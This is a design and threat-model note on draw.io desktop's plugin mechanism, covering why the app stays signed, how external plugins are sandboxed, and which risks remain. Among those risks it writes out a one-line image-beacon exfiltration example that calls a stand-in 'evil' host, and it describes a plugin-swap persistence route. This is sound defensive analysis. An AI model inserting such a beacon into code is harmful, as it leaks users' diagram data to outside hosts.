doc/PLUGIN_SECURITY.md
This is a design/rationale note, not user documentation. It records how the desktop plugin mechanism relates to code signing, why the app stays signed even though plugins can run arbitrary JavaScript, and which parts of the plugin trust model are worth hardening later. It exists so the reasoning does not have to be reconstructed from scratch the next time the question comes up.
The plugin concept lets fairly arbitrary JavaScript run inside the
desktop app. External plugins are only reachable when the app is
launched with --enable-plugins, but that is still our signed,
notarized app executing code we never reviewed. It can feel wrong to
put an Apple/Microsoft-backed signature on something that will then run
virtually anything — and one tempting "fix" is to say plugins require
an unsigned build.
The short answer: keep signing, do not route plugin users to unsigned builds. The unease rests on a misreading of what a signature attests, and — on macOS specifically — the interpreted-JS design means loading a plugin never engages the protection that unsigning would supposedly "come clean" about. The genuine weaknesses are elsewhere and are not fixed by unsigning.
There are two tiers.
Built-in / curated plugins ship inside the signed bundle at
./plugins/*.js and are authored by JGraph. They are listed in
App.pluginRegistry / App.publicPlugin
(drawio/src/main/webapp/js/diagramly/App.js) and load without any
flag — selecting one from the Plugins dialog dropdown just records its
id in settings.
External plugins are the only arbitrary-code path, and they are gated three ways:
--enable-plugins (src/main/args.js,
key enablePlugins). It is off by default — installPlugin
and getPluginFile early-return empty otherwise
(src/main/electron.js, isPluginsEnabled / installPlugin /
getPluginFile)..js file through a trusted file dialog.pluginWarning confirm()
(drawio/src/main/webapp/js/diagramly/ElectronApp.js, the
plugins... action; string in resources/dia*.txt).On accept, installPlugin copies the file into
<appData>/plugins/; on every later launch with the flag,
getPluginFile returns it and it is injected with mxscript() (a
<script> tag) into the renderer (the load loop in ElectronApp.js).
Plugins run as renderer-context JavaScript, not with the app's full native privileges:
contextIsolation: true, no nodeIntegration → no require, no
fs, no child_process, no native code, no process spawning. The
only privileged channel is the window.electron contextBridge
(src/main/electron-preload.js) → IPC, and every handler is guarded
by validateSender().assertWritablePath
(src/main/electron.js), gated by the blessedPaths allowlist
(paths authorised via trusted UI: file picker, association, CLI).
Writes inside userData/appBaseDir are denied, and symlinks are
realpath-resolved to defeat traversal.src/main/electron.js, onHeadersReceived) sets
connect-src 'self' → no fetch / XHR / WebSocket / sendBeacon to
remote hosts. A file:// allowlist (onBeforeRequest) only permits
loading scripts from the app code dir and, when enabled, the
<appData>/plugins/ dir.So a hostile external plugin is best understood as "a malicious web page that additionally can read/write the specific files the user has blessed" — weaker than arbitrary native code, and only reachable behind a default-off flag. That is already stronger than several peers (Obsidian community plugins run with full host privileges and Obsidian still ships signed).
The instinct "it's weird to sign something that can run anything" conflates two different things:
Apple describes notarization as identifying and blocking malicious software prior to distribution, "without requiring App Review" — it scans the submitted build and issues a ticket; it does not audit runtime behaviour or constrain what code the app may later load. Windows Authenticode is the same shape: it binds the binary to a verified publisher identity and proves integrity, and says nothing about what the app may execute.
Consequences:
.js, which is
neither signed by us nor covered by our notarization ticket.On macOS the protection that governs arbitrary code execution is
Library Validation under the Hardened Runtime — and it applies only
to native Mach-O libraries loaded into the process. An app that wants
to load unsigned/third-party native plug-ins must add the
com.apple.security.cs.disable-library-validation entitlement. Adding
that entitlement is the move that genuinely weakens the signature's
meaning.
draw.io does not carry that entitlement, and correctly so: a .js
plugin is data handed to the already-loaded JavaScript engine, not
a native library mapped into the address space. No new native code is
loaded, so Library Validation is never consulted. The
allow-jit / allow-unsigned-executable-memory entitlements Electron
already ships cover the JS engine generating its own machine code
(JIT); plugin JS runs by the identical mechanism as any other page
script, with no extra entitlement and zero effect on
signing/notarization status.
The OS's own model draws the hard line here: "inject unsigned native code" (requires relaxing a protection — the arguably "weird" thing) vs. "interpret script in an already-trusted engine" (routine, no relaxation). draw.io is firmly on the benign side of that line.
Across VS Code, Obsidian, Office, Chrome/Firefox and Figma, the universal pattern is signed host + a consent gate and/or reviewed marketplace. No reputable app forces users onto an unsigned build to unlock extensions. An unsigned draw.io would:
.appex inside an un-notarized, quarantined
host), and forfeits Apple's ability to revoke a single weaponized
build rather than the whole Developer ID.disableUpdate), so the higher-risk plugin channel becomes the one
that stops receiving Electron/Chromium security patches — backwards.The --enable-plugins default-off flag is the right primary control;
it has no signing/notarization consequence and already means users who
never touch plugins have zero exposure.
These are real and worth attention. None of them is "the app is signed," and none is fixed by unsigning.
img-src * / media-src *. connect-src 'self' blocks fetch/XHR/WebSocket, but does not govern
image/media loads. A plugin can new Image().src = 'https://evil/?d=' + encodeURIComponent(diagramXml) and beacon out
anything the page can see (diagram contents, blessed-file reads,
clipboard). One-directional GET; highest-impact residual capability.
Tradeoff: tightening img-src/media-src to 'self' data: would
break diagrams that legitimately reference remote images, so a
blanket clamp is probably not worth it.confirm()
fires once at install; afterwards the plugin auto-loads on every
launch (with the flag) with no re-consent and no indicator of which
plugins are live. One click grants permanent, silent, per-launch
execution.installPlugin copies the .js verbatim
with no hash/signature/content check, and deliberately bypasses
assertWritablePath. Any co-resident process running as the same
user that can write to <appData>/plugins/ can drop or swap a
plugin that then executes in the renderer on next launch — a
persistence primitive. Bounded: presupposes the flag is already in
use and same-user filesystem access (already meaningful compromise).In priority order, all orthogonal to signing:
installPlugin / getPluginFile in
src/main/electron.js). Closes risk #3 and detects swaps.img-src globally.pluginWarning is generic;
name the file and state plainly that the plugin can read open
diagrams and send data out.--enable-plugins (default-off) as the primary control.The grain of truth in the original unease is a communication problem, not a signing problem: our signature travels with bytes that then run attacker-authored JS, and a naive observer could over-read what "signed" implies about safety. The remedy is clearer consent UI and this note — not removing the signature that protects everyone else.